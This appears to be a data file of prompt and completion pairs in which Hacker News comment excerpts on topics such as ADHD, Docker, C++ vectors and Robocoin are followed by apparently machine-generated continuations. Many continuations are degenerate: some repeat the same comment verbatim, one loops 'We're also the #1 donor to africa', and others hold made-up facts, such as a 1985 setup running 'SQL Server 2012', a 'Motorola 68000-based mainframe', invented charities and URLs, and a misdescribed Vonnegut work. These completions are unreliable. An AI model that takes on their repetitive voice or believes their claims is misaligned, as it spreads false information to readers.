42%\n\nEcc ~ 62%\n\nPlugging these numbers in yields:\n\nCpvbe = 1-42/62 = 32% which means unless your capacity factor meets or exceeds\n32% that solar imposes a net methane opportunity cost backing it up with a gas\npeaker plant in comparison to gas combined cycle.\n\nYou can find the capacity factors for solar here:\n[https://www.eia.gov/electricity/monthly/epm_table_grapher.ph...](https://www.eia.gov/electricity/monthly/epm_table_grapher.php?t=epmt_6_07_b&fbclid=IwAR3Oj5a7FUildPrxVyVfErx-"} +{"output_text": "ishment to be a good way to focus.\n\n------\njap\nI have ADHD, and I've found that:\n\n\\- Exercise helps me focus. I need to do a moderate amount of exercise to\nfeel focused. I can do a 20-30 minute jog and I feel focused, but if I don't\ndo anything I just feel sluggish.\n\n\\- Meditation helps me focus. I need to sit in silence for at least 5 minutes\nbefore I", "input_text": "\nYou can very easily resolve this question by talking to a doctor, or two. If\nyou are curious, don\u2019t just sit and wait and keep \u201cwasting your life away\u201d in\nthe indecision of whether or not to get checked. The lack of decisiveness to\neven get check may itself be a symptom of ADHD.\n\nOne obviously cannot understate the value and importance of having a healthy\nlife, regular sleep, good exercise, good diet and hygiene and all the like,\nbut for some people it\u2019s a little harder to get things in order than just\nthat. Also you don\u2019t need to consider getting medical help as a terminal\nsituation; perhaps you may just use meds long enough to retain your brain with\nwhat it means to be productive and do meaningful work.\n\nNo solution is one size fits all, and you need to find what works best for\nyou, but if you have questions or doubts about whether or not you may have an\nattention disorder, the best way to discern with any real certainty is to ask\na professional.\n\n------\nwlll\nI find the following helps:\n\n\\- Changing my routine seems to kick off my ability to focus\n\n\\- I have a sit-stand desk. Using it standing seems to help my focus, but\nchanging between sitting and standing can bump my motivation.\n\n\\- For clients starting and stopping a timer helps me focus.\n\n\\- For clients and my own projects I use Pivotal Tracker to order tasks. It\nhelps me break stuff down into smaller parts and to keep track of what I'm\ndoing and helps me to avoid wondering what to do. I use it even though clients\nhave their own project management solutions, I only use it for what I'm doing.\n\n\\- I've never found rewards/pun"} +{"output_text": "England_and_Cot...](https://en.wikipedia.org/wiki/Central_England_and_Cotswolds_climate_data)\n\nThe problem is that these data sets are not global in scale, and are not\navailable in a usable format.\n\nThe only global data set that I'm aware of that is available in a usable\nformat is the CRUTSLT dataset.\n\n[https://www.metoffice.gov.uk/", "input_text": " ice age receding. The fallacy here is \"made shit up and pretended it was\ntruth\".\n\n> Also, the \"record\" in this case only goes back 130 years, and the earth is\n> 4.5 billion years old\n\nThe record is a real record. Putting it in quotes implies that it isn't a\nrecord. That's false. Also, this implies that the age of the earth is relevant\nto how we act today. Does NYC or SF care about the temperature of the Earth\nduring the formation of our solar system? No. It's not relevant.\n\n> so to try and make some sort of global warming generalization based on\n>.00000000028% of the evidence is fallacious.\n\nNobody is making that generalization, or using that scale of evidence. This is\na fallacy because the post author has pretended that the IBM article quoted\nsaid that they (Weather Underground) used.00000000028% of available evidence\nto draw their conclusion. Again, this is false.\n\n~~~\nJames001\nAgain, you didn't cite any actual facts. Repeating something doesn't make it\ntrue. You should reply with a citation proving that the rate of temperature\nrise is an anomaly. Cause right now you're ironically \"making shit up and\npretending it was truth\", in your own words.\n\nAlso, noting the fact that the record only goes back 130 years is merely\npointing out how little statistical significance climate models based on \"the\nrecord\" have.\n\nYour post is rank with hypocrisy.\n\n~~~\nsoundwave106\nLonger sets of data exist that are not global in scale. The longest is the\nCentral England Temperature set, going back to 1659.\n\n[https://en.wikipedia.org/wiki/Central_"} +{"output_text": " PHP interpreter and I'll\nshow you a programmer who is trying to make a living.\n\n~~~\njzwinck\nI think that's a strawman. The person I know who is trying to make a living\ndoes not believe that PHP is a great language.\n\n~~~\njohnwbyrd\nI didn't say that the person who wrote PHP was a great programmer. I said that\nthe person who is trying to make a living is a programmer who is trying", "input_text": "'t figure that out, I can't help you.\n\nAs far as their work on HHVM, it was necessary due to failure by bad\ntechnology choices from the start. There's very little interesting about this\nwork unless you somehow love PHP, want to make debugging your production\napplications more difficult, and refuse to address your real problems. I am\n100% sure no one outside of the PHP community cares about anything Facebook\nhas done in C++.\n\nSimply having a large company with lots of developers who might have even had\ngood reputations elsewhere or even be smart doesn't mean much. Having worked\nin many places with lots of smart developers, I can tell you stories about too\nmany geniuses in the room. Calling Facebook developers engineers is also about\nas apt as calling janitors sanitation engineers. We're programmers, or\ndevelopers, or perhaps software architects at best depending on the position.\nI happen to have an EE and CS degree but given I do programming for a living,\nI'd hardly call myself an engineer. But we're way off topic :)\n\n~~~\notterley\n> As far as their work on HHVM, it was necessary due to failure by bad\n> technology choices from the start.\n\nHHVM arose out of Facebook's desire to save on server purchasing and operating\ncosts. Facebook could run perfectly well without it on Plain Old PHP, but\nthey'd have to buy and power more servers.\n\nI'd hardly call PHP a \"bad technology choice\" given the outstanding financial\nsuccess of many companies that use it.\n\n------\nboomshoobop\nIsn't Facebook itself an STD vector?\n\n~~~\ngeneral_failure\nFunny :)\n\n------\njohnwbyrd\nShow me a programmer who is trying to reoptimize the"} +{"output_text": " oceans should consider donating to the Seaweed and Blue\nSeaweed Foundation -\n[https://www.seawatch.org/](https://www.seawatch.org/)\n\nThey are a non-profit working to protect the oceans and their ecosystems from\nclimate change.\n\n------\njelliclesfarm\nI wonder if coral reefs are a thing of the past. I read somewhere that the\nwater is getting saltier and saltier.\n\n", "input_text": " attracts big\npredators like sharks), and a net of vested interests will block it.\n\nAnd you'll need to wait 3000 years to have a coral reef at '3000 years level',\nof course. Corals are terribly slow and fight with their neighbors all the\ntime. Such project would be extremely expensive.\n\n~~~\nsomishere\nThere's already projects doing this. Both on the GBR and in places like\nFlorida in the USA. The coral being grown is mainly staghorn due to its rapid\ngrowth cycles with the idea that it can help replenish high value sites only,\ni.e. not the whole reef. These kind of measures are seen as being part of a\nspectrum of solutions. Check out the Reef Restoration Project:\n[https://citizensgbr.org/c/coral-nurseries](https://citizensgbr.org/c/coral-\nnurseries)\n\n~~~\npvaldes\nA staghorn-only reef is \"equivalent\" to a monoculture forest. Staghorn is the\n\"Eucalyptus\" of corals. Much faster than most species. Will overgrowth and\novershadow more delicate species that rely in potent poisons and good niches\nto survive and grow much slower.\n\nStaghorn could make a good skeleton of a reef in, dunno, maybe 50 or 100 years\nand would attract a wonderful biodiversity if left alone; but is not enough in\nreef terms. we are talking of the cream of the cream. One of the finest works\nof this planet. The staghorn ecosystem is just a baby and a lot of species\nwould be sorely missing.\n\n------\nsomishere\nPeople interested in joining a movement that engages with climate change and\nthe future of the"} +{"output_text": "uinely don't get it.\n\n~~~\njrochkind\nAWS doesn't charge you anything for running Docker on their machines. They\ncharge you for running Docker on their machines, but they don't say you have\nto pay anything for that.\n\nSo the question is, why are you running Docker on AWS machines?\n\nIf you are running Docker on AWS to save on VM costs, then you are not\nDockerizing your applications. You are just", "input_text": "ization layer than\nhardware hypervisors like VMWare, also has higher performance for I/O\nintensive operations. When used on bare metal hardware, you going to be able\nto get better performance for many databases in Docker containers compared to\ndatabases running in a virtual machine guest.\n\nSo to recap, Docker can help you\n\n\\- maintain consistent dev/test/prod environments\n\n\\- use less resources than hardware virtualization\n\n\\- free up the time your team spends on dev to ops handoffs\n\n\\- improve your app I/O performance compared to running in a hardware\nvirtualization based virtual machine guest\n\nHowever if you are using AWS, note that Docker Container Service available\nfrom Amazon actually doesn't give you Docker on bare metal. That's because\nDocker Containers run in AWS virtual machine guests virtualized by Xen\nhypervisor. So with AWS you are paying a penalty in resources and performance\nwhen using Docker.\n\n~~~\ntakeda\nGreat, but what are the benefits of running Docker in AWS? You are still\nrunning VMs and you are being charged for running them. With Docker you are\nsimply putting yet another layer of complexity, because now you have to run\nmore beefier VMs, you now have problem with network communication between\ncontainers running on different hosts. So you will most likely need to use\noverlay network. You also decrease resiliency, because now when AWS terminated\na single VM, all apps running on that node suddenly disappear.\n\nI also don't get the argument about running the same container in\ndev/test/prod. For example my company is working on going Docker and one of\nthe problem with these environments is that app running there has different\nconfiguration. So the idea to solve it is to create three different versions\nof the same container. Gen"} +{"output_text": "venture.com/](http://roomescapeadventure.com/)\n\n------\njasonlotito\nI got stuck on the second puzzle. I was able to get out, but I was stuck for a\nbit.\n\n------\njasonlotito\nI got stuck on the second puzzle. I was able to get out, but I was stuck for a\nbit.\n\n------\njasonlotito\nI got stuck on the second puzzle. I was", "input_text": "get very chaotic with everyone running around looking for clues.\n\nThe only downside is once they reveal the clues/answers, it can be frustrating\nif they were impossible to solve in the first place.\n\n------\naustinl\nI was at the Escape from the Moon Base [1] in SF two weeks ago and it was a\nlot of fun. I went with some coworkers, but I'd also recommend going with\nfriends, and would definitely participate again.\n\nThe puzzles are fairly challenging (no one in my session of 30 teams/180\npeople) finished with an entirely correct solution, so it's satisfying when\nyour team solves certain parts.\n\n[1] [http://realescapegame.com/sf07_mb/](http://realescapegame.com/sf07_mb/)\n\n------\nlukas\nI played the Escape from Time Travel Lab as a team building exercise and it\nwas an awesome experience - I totally recommend it. I just wish they would put\nout more games!\n\n------\nnitrogen\nSounds somewhat like murder mystery dinner parties. Also: why does NYT hijack\nthe left and right arrows to take me away to another article?\n\n------\nnschuett\nOne of the hardest things about these \"escape from the room\" games is keeping\nall the puzzles and clues organized, and sharing progress across the whole\nteam. It's a pretty great exercise in project mgmt and teamwork.\n\n------\nnnnnni\nIt's not exactly the same, but TrueDungeon has a similar premise of \"a small\ngroup of people attempts to figure out puzzles together to get through\nsomething\".\n\n------\nkqr2\nFor a zombie themed escape, check out:\n\n[http://roomescapead"} +{"output_text": "\narticle is written in the first person.\n\n------\njelliclesfarm\nI have a Wells Fargo card. I have never had a problem. I have never had a\nquestion. I have never had to wait in line.\n\nI have a debit card that I use for gas and for small purchases. I have to pay\nwith cash. I have to wait in line.\n\nI have never had a problem.\n\n~~~\njzwinck\n", "input_text": ", it took another few\nminutes for them to collect all this, then they said they needed a few moments\nto run it past some lists. (Apparently the US government keeps some lists of\nterrorists and whatnot -- I told them I wasn't on any of the lists but they\ninsisted on checking anyway.)\n\nAfter a few more minutes they came back and said I was fine. They transferred\nmoney from my existing bank and handed me a new ATM card. I tried it and\neverything worked smoothly this time.\n\nI don't think anyone should use this bank. The process took me half-an-hour or\nmore and it was really awkward.\n\n[1] -\n[http://www.fincen.gov/statutes_regs/patriot/](http://www.fincen.gov/statutes_regs/patriot/)\n\n~~~\nderekp7\nI've never seen a case where an card wouldn't work in another bank's automated\nATM machine. I know this used to be the case, but there are a bunch of logos\non the back of my card, and a bunch of logos on various ATMs, and as long as\nthere is an intersection of at least on of those logos it should work.\n\nAnd there is a big difference between giving basic proof of ID information to\na regulated financial institution, vs. handing it over to an unknown entity.\n\n~~~\nnezza-_-\nJust FYI: ATM stands for Automated Teller Machine, so your sentence expands to\n\"automated automated teller machine machine\" :)\n\n~~~\nderekp7\nI know -- that's why I threw automated at the beginning (inside joke). But\nadding \"machine\" at the end seems to happen a lot (and feels natural) when an"} +{"output_text": " for staying focused. I'd suggest that's not the only\nthing.\n\nI've struggled with this for years. I have ADHD and a history of drug abuse. I\nwas a chronic procrastinator. I'm not anymore. I'm much more motivated to do\nthings. I'm much more motivated to exercise, to eat right, to socialize. I'm\nless motivated to waste time on video games.\n\nBut I have a problem. I can't sit", "input_text": " second the therapy too, that's also helped.\n\n------\niamben\nMany, many good responses here. And I muchly second meditation and exercise. I\nalso needed to get out the house every day when I worked from home (the gym\nwas good, but you don't talk to enough people). WeWork has been excellent\nbecause it gives me a place to be every day, and people to talk to.\n\nAs for distractions like video games, try making them irritating enough that\nit's more effort to do it than keep focused on your task. Unplug the console,\nput it in the box and put it at the top of the cupboard. Unplug all the cables\nfrom your TV. Let yourself play console, but go through the effort of setting\nit up and packing it away each time. Before long you'll only play it when you\nreally want to - those ten minute \"one game\" sessions that become 2 hours\ndon't happen anymore.\n\nLast year I moved into a new place and my housemate and I didn't bother\ngetting a TV. I missed TV for about 2 weeks. Been over a year now and not\nhaving something to just'sit' in front of has been a game changer for _doing_\nother things. Same deal. I cut out all the casual watching.\n\nAll of us struggle - particularly when working for yourself. Don't beat\nyourself up, it really doesn't help.\n\n------\nabalone\nIt could be ADHD, but believe it or not I'd explore whether it's an addiction\nissue. I think there should be more discussion and analysis of the\nrelationship between addiction and chronic procrastination.\n\nWhat else are you doing with your time? You made a couple of references to\nvideo games as a reward"} +{"output_text": "\nThat's not true. The NSA has access to US security cams. They are just not\nusing it.\n\n------\njokoon\nI wonder if it would be possible to use the cameras to detect people who are\nwalking in the dark, or in the shadows. I'm thinking of people who are\nsurveilling or photographing people in public places.\n\n~~~\nthe8472\nThe problem is that the quality of visible light is not sufficient to", "input_text": " sum of money.\n\nI suppose in theory, if you blanketed the entire country with CCTV (just one\ntown is no good, the crime can move to the next town over) then you might have\na deterrent effect, but of course all the other concerns about mass\nsurveillance would still apply.\n\n------\nJoeAltmaier\nUS has more, per-capita?\n[https://www.precisesecurity.com/articles/Top-10-Countries-\nby...](https://www.precisesecurity.com/articles/Top-10-Countries-by-Number-of-\nCCTV-Cameras)\n\nUSA has 1 camera for every 6 or 7 people?\n\n~~~\nkeiferski\nIs this actually a useful metric? Cities should be compared to cities.\n\nAlso, that link doesn\u2019t seem to say whether cameras are owned by the state.\nPresumably surveillance operated by the government is more totalitarian than\nvarious private businesses.\n\n~~~\nthe8472\n\"lawful access\" interfaces can mean automatic access by the government. It's\noutsourced mass surveillance.\n\n~~~\nJoeAltmaier\nIn the movies and on TV, they always have to 'ask for the tapes'. Wonder how\nit really works now - the NSA already has it all?\n\n~~~\nnoarchy\nIf those cameras have any kind of outside accessibility over a network, the\nNSA is probably just one of many with potential access.\n\n~~~\nstrictnein\nThe NSA doesn't have access to US security cams and couldn't care less about\nthem. Come on people...\n\n~~~\nnoarchy\n>The NSA doesn't have access to US security cams and couldn't care less about\nthem.\n"} +{"output_text": "\n\n------\nj45\nProgramming is a skill that can be learned. It's not like riding a bike. It\ntakes practice, and a lot of it.\n\nI've been learning to code for over 30 years. I started on punch cards and\nstored programs on 8\" floppy disks. I've seen it evolve from 8 bit to 64 bit to\nARM.\n\nI've also seen it evolve from C to C++, Java, Python, Ruby", "input_text": " entire summer staring at C and getting blocked on ridiculous basic\nstuff because I had dumb learning techniques and kept being too ambitious. I\nknow a solid guy who did first-year C three times before he passed._\n\nSounds like we're just using different definitions for \"good\". You seem to\ndefine it as meaning competent, so yes, you and your friend fall into the\ncategory of people who have successfully taught yourself to program computers\ndespite not being wired to do it.\n\nI was talking about the Fred Brooks 10X types when I said \"good\". Those guys\ndidn't drop Comp Sci 101.\n\nAgain, please try not to take it personally. They're not better people than\nyou. They just took to computer programming like everybody else takes to\nbreathing.\n\n~~~\nthereddestruby\nThere's no magic wiring there - humans don't speak computer out of the womb.\nSome people start programming at a younger age than others. Some move on, some\nstick, some take it more seriously, some go on to become great.\n\nIt's like any other thing really. Football, Soccer, Jiujitsu, Ping-Pong, etc.\n\n------\nsethwartak\nWork on something useful, something that has a goal.\n\nBeating your head against a problem for hours is the best way to learn\nsomething (because you learn all the ins and outs of that thing, not just the\npart you were working on).\n\n------\nspooneybarger\nCan you define what you mean by 'on your own'?\n\n~~~\namorphid\nPicked up a few books, wrote basic programs, etc. When it got harder, found\nways to ask people questions. I usually get frustrated when it comes to\nsolving puzzles that aren't linear programs."} +{"output_text": " work\nwell.\n\n------\njasonlotito\n[http://www.openstack.org/about/press/](http://www.openstack.org/about/press/)\n\n\"OpenStack is the only open source cloud operating system that is used by\nthree of the top five public cloud providers in the world.\"\n\n~~~\njasonlotito\n[http://www.openstack.org/about/press/press-\nreleases/openstack", "input_text": " OpenStack stuff as we could). We also had a\nRESTful API for clients to also used (some of our clients resold our services\nunder their own names). Some of the backend stuff was a bit \"messy\" in how it\nworked (I won't go into details, but I \"authored\" a fake \"O'Reilly\" \"book\"\n(really just a front \"cover\" mainly) whose mascot was dickbutt) - but despite\nthe mess, overall it worked well, considering all the moving parts (where it\nwould tend to fall down - not always, but enough - was when an upgrade to\nOpenStack was performed).\n\nIn short - we were also one of the few companies running OpenStack in\nproduction. Our owners ended up selling to LeaseWeb, I left - but the idea was\nthat LeaseWeb wanted to transition things to their API and system, and I\nhonestly don't know what happened with all the work and such I was involved in\non the PHP side of things (there was also a point where me and a coworker had\nto quickly ramp up and learn GoLang to make an interface from Rancher/Docker\nover to the Nobis API - that was a fun and interesting experience). I imagine\nthat some portion is still running, but who knows.\n\nI personally think that in the right hands and with the right infrastructure\nOpenStack can be a very workable and working technology. It seemed to work\nwell for the systems we used while I was at Nobis. I don't know honestly\nwhether you could use it to scale up to anything like AWS or Google's\nofferings, but I think for medium-sized stuff like we were doing (or like\nDigital Ocean does - who at the time was our direct competition), it can"} +{"output_text": "\nj_s\n_The database is the most important part of the system, so it needs to be\nreliable._\n\nI think this is the first time I've heard this argument for a relational\ndatabase in production. I've heard it a lot in the context of web apps, but\nnever for a system that is expected to run without operator intervention for\ndays/weeks/months/years.\n\n~~~\nteh_klev\nIt's not an argument for", "input_text": " sides sit down and do a true\ncomparative analysis and then the reader can decide which product suits their\nneeds best.\n\n~~~\nteh_klev\nThanks, saved me the bother of saying this as well.\n\nThat section on \"Reliability\" is pure comedy, the only time I had SQL Server\n\"crash\" was due to faulty hardware. And despite the best efforts of our\nprevious data centre company (who we've since ditched) dropping the ball and\nlosing power across the site multiple times over two years our MS SQL servers\nnever lost any data, despite the rug being pulled whilst under some fairly\nheavy workloads. I should add that neither did any of the MySQL fleet, even\nthe ones running replication.\n\nOne day when I get time I'll get around disembollocking this flawed article. I\ndon't say that as a MS SQL \"fanboy\", but as a DBA with coming on for 20 years\nexperience managing and programming SQL Server in banks, blue chips and ISP's\n(yeah I know, \"appeal to authority\"-fail, but who the hell is this anonymous\nauthor, and what are his credentials?).\n\nEdit: sorry I should add I quite like PostgreSQL, and I'm hoping to roll it\nout as a service offering to our client base in the next few months, so no axe\nto grind from me with regards to its features and capabilities.\n\n~~~\nj_s\nMy experience: SQL Server kicks its NAS off the network due to the NAS's own\nflakiness, but SQL Server has always recovered fine. I've had to boot it in\nsingle-user mode many times to cut the thundering herd down to size on\nstartup/recovery, but then it's back to business.\n\n------"} +{"output_text": "arently I have a lot of people fooled) that the people who\nhave the most people in their network are the least connected to the outside\nworld.\n\n~~~\ntptacek\nThis is a great point, and I wish more people made it the focus of their\nefforts to build a network. I know it's counterintuitive, but it's true.\n\n~~~\ncek\nI agree. It's counterintuitive.\n\nBut it's", "input_text": "ellers to his name. My mother introduced herself and added \"I\nhave to admit I've never actually read any of your books\". \"Excellent!\" the\nauthor replied, \"that means we can talk about something else\". And they spent\nthe entire evening having a really great conversation about all manners of\ntopics. My mother said she could really tell how excited he was to get a\nchance actually talk about something other than his books.\n\n------\nsid6376\nFrom the comments here, I infer, VCs probably don't like being pitched\nunsolicited. Girls don't like being hit on. I have never pitched a VC, so i am\nbasically theorizing here. The trick is not in approaching them, but\napproaching them in a way which does not activate their natural defense\nmechanism. If you come across as interesting the girls will give you\nattention. Its better to lower their defenses with an approach that they don't\nexpect.\n\n~~~\nklipt\nMaybe girls don't like being hit on by the wrong people, or in the wrong way.\nBut ultimately they do want to be approached by the right guys, or they\nwouldn't keep on going to places like bars where one of the main selling\npoints (unless it's a gay bar) is meeting people of the opposite sex.\n\n------\ncek\nGreat article.\n\nThe first thing I do when mentoring noob entrepreneurs/founders is ask them\nabout their networks.\n\n\"How are you growing it?\"\n\n\"Who are your mentors?\"\n\n\"Who are your mentees?\"\n\n\"Who are the big-wigs in your network?\"\n\nI have found, much to my surprise, given that I'm a \"black belt ninja\nnetworker type\" (app"} +{"output_text": "electronics manufacturer\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Motorola 68000-based mainframe\n OS: MVS/C (MVS 8.1)\n DBMS: Transact-SQL (SQL Server 2012)\n Language: C#\n App: Work Order Processing (I wrote from scratch.)\n \n\nSame hardware, same software, same language, same DBMS", "input_text": " you on?\n\n------\nZelmor\nI fear the days I might have to spend in a hospital. My hope is that I will\nhave saved enough money to afford home-care and die in my own bed, with a cat\nor a dog nearby.\n\n------\npascalxus\nI would imagine patients in the hospital have much bigger problems than how\nmuch sleep they're getting. They'll probably be awake all night anyways\nworrying about their over-billed hospital bill and how their insurance company\nis going to get out of paying for it.\n\n~~~\nanticensor\nOnly in the private hospitals.\n\n _self-induced sleep deprivation intensifies_\n\n------\nblablablerg\nHospitals aren't persons, so they can't hate anything. Nurses checking your\nvitals signs when necessary!= hating you sleep.\n\nWhy do I hate inflammatory clickbait garbage so much?\n\n \nHow I coded in 1985 - jgrahamc\nhttp://blog.jgc.org/2013/04/how-i-coded-in-1985.html\n======\nedw519\nThat headline got me to thinking...\n\n \n \n Date: Monday, April 29, 1985\n Age: 29\n Location: Santa Ana, California.\n Company: electronics manufacturer\n setup: dumb black & green 24x80 14\" CRT terminal\n Hardware: Honeywell mini\n OS: Honeywell proprietary\n DBMS: Pick (Ultimate Flavor)\n Language: BASIC\n App: Work Order Processing (I wrote from scratch.)\n \n Date: Monday, April 29, 2013\n Age: 57\n Location: Miami, Florida\n Company: "} +{"output_text": " it does help people who live there.\n\n~~~\njbooth\nI'm not sure I follow. The US is the #1 donor to africa, and we're the #1\npayer of africa. We're also the #1 donor to africa of humanitarian aid.\n\nWe're also the #1 donor to africa of foreign aid.\n\nWe're also the #1 donor to africa of development aid.\n\nWe're also the #", "input_text": "third-world country. Not many have. (I have, and it was a dictatorship when I\nlived there, and as a foreign national I was part of the process of nudging it\nto become the democracy it is today.) To be a brother of your fellow human\nbeings is a great adventure. It's harder than armchair criticism, but also\nmore challenging and interesting.\n\n~~~\nrdl\nNot me.\n\nWe mostly know the solutions to fixing the most oppressed or otherwise\ndefective parts of the world; we just don't find it worthwhile to implement\nthose solutions. I could solve 90% Equatorial Guinea's problems for <$10mm and\na promise of immunity from prosecution or extradition by major world powers\n(i.e. places I'd actually be, afterward). Scaling that up for other countries\nis possible, too. For problems not requiring a ballistic solution, Bill Gates\nis doing a seriously effective job of solving the polio problem, and major\nheadway into malaria.\n\nThe solutions to the most defective countries are all pretty straightforward\nand widely known; it's figuring out how to turn decent but not ideal countries\nlike Pakistan into really stable first-world countries which would be hard, or\nfiguring out how to stem the long-term decline in the US. (Yes, there are\nimplementation difficulties in a place like Somalia, but it's because the\nbenefit isn't worth the expense in blood/treasure. The cheap solution is to\nlet the 1% of people who could make their lives a lot better by leaving do\nso.)\n\nThe skills required to solve the harder sociological problems don't really\nhave much overlap with the skills to send people to Mars.\n\nBringing those places up to standard doesn't really give you anything new,\nalthough"} +{"output_text": "_ by Steven Blank.\n\nIt's a book on marketing, but it's full of valuable insights into how to\nachieve goals.\n\n------\nmatt_wulfeck\nI'm reading The Power of Habit by Charles Duhm. It's about how habits are\nbecoming the new norm and how we can break them.\n\n------\nmatt_wulfeck\nI'm reading The Power of Habit by Charles Duhm.", "input_text": "from a Canadian university's website. You can't order just any book you want\nhere, so finding this was like finding the door to a new galaxy.\n\n[0]:\n[http://classiques.uqac.ca/classiques/](http://classiques.uqac.ca/classiques/)\n\n------\nblabla_blublu\nFiction :\n\n* Lolita by Vladmir Nabakov ; an absolute master class.\n\n* The Harry Potter series by JK Rowling ; one for the memories!\n\nNon Fiction :\n\n* Letters of Note by Shawn Usher; a compendium of wonderful letters from the past. Highly recommended. [https://www.amazon.com/Letters-Note-Collection-Correspondenc...](https://www.amazon.com/Letters-Note-Collection-Correspondence-Deserving/dp/1452134251/ref=sr_1_1?ie=UTF8&qid=1482110200&sr=8-1&keywords=Letters+of+note)\n\n* Deep work by Cal Newport ; very applicable to the modern day distracted soul.\n\n------\njurgenwerk\nThe Conquest of Happiness by Bertrand Russell. What an enlightenment!\n\n~~~\npeller\nLots of gold in this book. Even though it was published in 1930, just like\nwith _The Prince_ mentioned elsewhere in this thread, human nature changes so\nvery slowly - if at all - that these works are only substantiated by the test\nof time. Definitely a must read.\n\n------\nKaibeezy\n\"Meditations\", Marcus Aurelius - chill, the answer is there\n\n------\nmindcrime\n_The Four Steps To The Epiphany"} +{"output_text": " to C++, but I've heard some bad things about their\ninfrastructure.\n\nI've worked with their infrastructure and it's pretty solid.\n\n~~~\ndbaupp\nI've heard good things about their C++/CLI, but I've also heard that it's not\ngood enough for some projects (although I don't know the details).\n\n------\njokoon\nI don't understand why people don't use boost::flat_map. It's", "input_text": " much more comprehensive:\n[http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n227...](http://www.open-\nstd.org/jtc1/sc22/wg21/docs/papers/2007/n2271.html)\n\n------\njohnwbyrd\nIf you're spending a lot of time changing the size of a std::vector array,\nthen maybe std::vector isn't the right type of structure to begin with...\n\n------\njudk\nHow is it reasonable to expect that previously freed memory would be available\nlater for the vector to move to?\n\n------\nchickenandrice\nGreetings Facebook, several decades ago welcomes you. Game programmers figured\nout the same and arguably better ways of doing this since each version of\nstd::vector has been released. This is but a small reason most of us had in-\nhouse stl libraries for decades now.\n\nMost of the time if performance and allocation is so critical, you're better\noff not using a vector anyway. A fixed sized array is much more cache\nfriendly, makes pooling quite easy, and eliminates other performance costs\nthat suffer from std::vector's implementation.\n\nMore to the point, who would use a c++ library from Facebook? Hopefully don't\nneed to explain the reasons here.\n\n~~~\ndbaupp\n_> More to the point, who would use a c++ library from Facebook? Hopefully\ndon't need to explain the reasons here._\n\nCould you explain them for those of us not in the loop? Does Facebook have a\nbad reputation for C++?\n\n~~~\nDonPellegrino\nI would also like expanations, because Facebook actually has a good reputation\nwhen it comes"} +{"output_text": "ut's short story \"Hocus-\nPocus\". It's basically an exploration of the different forms ice can take, and\nthe different shapes they can take when they are frozen in.\n\n[https://www.gutenberg.org/wiki/index.php/Hocus-\npocus](https://www.gutenberg.org/wiki/index.php/Hocus-pocus)\n\n~~~\njames_s_totten\nI", "input_text": " payload separation. SpaceX chose to\nstack the satellites on top of each other to save mass and volume that a\nlarger payload adapter would have required. The stacked satellites are held\ntogether by 'tension rods' which are released to let them separate. In today's\nlaunch, you can actually see a rod being released [0]. Normally they lose the\nvideo feed around that time. They separate relatively easily because the\nsecond stage spins up to 'throw' them out. It didn't look worse than during\nother launches.\n\n[https://www.starlink.com/](https://www.starlink.com/) has an image carousel\nwith renders of the satellites and the stack if someone wants to have a closer\nlook.\n\n[0] [https://youtu.be/_j4xR7LMCGY?t=1780](https://youtu.be/_j4xR7LMCGY?t=1780)\n\n------\nmanuelabeledo\nSo, what about upload speeds?\n\n \nFound trapped in a diamond: a type of ice not known on Earth - pulisse\nhttp://www.latimes.com/science/sciencenow/la-sci-sn-water-in-diamonds-20180308-story.html\n======\nlamename\nThis is fascinating. I had no idea ice could take on so many crystalline forms\ndepending on the variety of conditions. Apparently there are other shapes even\nbeyond those mentioned in the article:\n[http://www1.lsbu.ac.uk/water/ice_phases.html](http://www1.lsbu.ac.uk/water/ice_phases.html)\n\n~~~\nfastball\nIf you find this interesting, you might enjoy Kurt Vonneg"} +{"output_text": "I wonder if they'll get in trouble for that.\n\n------\njwilk\n[https://www.google.com/search?q= Lightwater+Country+Park+in+...](https://www.google.com/search?q= Lightwater+Country+Park+in+Scunthorpe+England)\n\n------\njwilk\n[https://www.google.com/search?q= Lightwater+Country+Park+in+", "input_text": "I'm trying really hard to figure out what's bad about 'Lightwater Country\nPark'\n\n~~~\ndavid-given\nI figured that one out, but --- evaluate? mocha? expression?\n\n~~~\ncscheid\nmocha has a naughty german word in its middle, I'm fairly sure.\n\n~~~\nguitarbill\nNo it doesn't. I believe it can be used for Javascript injections like 'eval'\nas'mocha' is/was common a test framework. At least that's the ostensible\nreason Yahoo replaced 'eval' with'review','mocha' with 'expresso', and\n'expression' to'statement' way back in 2002 [0].\n\n[0] [https://www.newscientist.com//article/dn2546-email-\nsecurity-...](https://www.newscientist.com//article/dn2546-email-security-\nfilter-spawns-new-words)\n\n~~~\njwilk\n\"espresso\", not \"expresso\".\n\n------\naroman\nWhy is the string \"Linda Callahan\" a naughty/Scunthorpe word?\n\n~~~\nue_\nAfter re-reading it I can see it contains \"allah\", but I can't see why that\nwould be filtered.\n\n~~~\njasonjei\nInteresting my last name was blocked from making Genius Bar appointments [0].\nMy name is Jason Hung.\n\n[0]\n[https://discussions.apple.com/thread/1491462?start=10&tstart...](https://discussions.apple.com/thread/1491462?start=10&tstart=0)\n\n~~~\npavel_lishin\n"} +{"output_text": " time than it takes\nto fill out a Robocoin.\n\n------\njelliclesfarm\nI have a friend who has a card that he can use at Robocoin.\n\nHe's from a developing country and the card is basically a bank card with a\nchip. He's been able to withdraw cash, pay for food, etc.\n\nI asked him how he got it and he said he bought it online for $5.\n\n~~~\nj", "input_text": " but rather is a money\ntransmitter, and thus subject to much stricter regulation (such as\nidentification required starting at $0 instead of $1000).\n\n2\\. When was the last time you exchanged foreign money in the U.S.? When I\nlast exchanged foreign currency in the U.S. (in the past few years), I needed\nto provide a photo ID and my social security no. I believe this is strictly\nrequired only when you exchange over $1000, but many exchanges require them\nfor all transactions.\n\n3\\. Note that when you provide a photo ID, the end result is the same as if\nthey had taken a photograph on the spot (your photo is copied and filed).\n\n~~~\nbduerst\nThat makes more sense. Thanks.\n\nIt has been two years since I was last at a foreign currency exchange here,\nand things could have changed since then as well.\n\n------\nasciimo\nThe conventional ATM experience only works because we have already gone\nthrough the pain of identifying ourselves to a bank, usually by sitting across\nthe desk from another human being and filling out forms, during business\nhours. We often have to wait for an ATM card to arrive in the mail afterward.\nI think it's incredible that I can now go to a bar at 1AM for the same\nservice. Plus beer and pool.\n\n~~~\nGoldenMonkey\nReally? I can go to walmart and buy a pre-paid atm card with cash. And then\nuse that card at an atm. No Id process required.\n\n~~~\nSippinLean\nIt's still harder to drive to Walmart during business hours than use a\nRobocoin.\n\n~~~\nceejayoz\nIn many areas a round trip to Walmart will take a lot less"} +{"output_text": "-ed 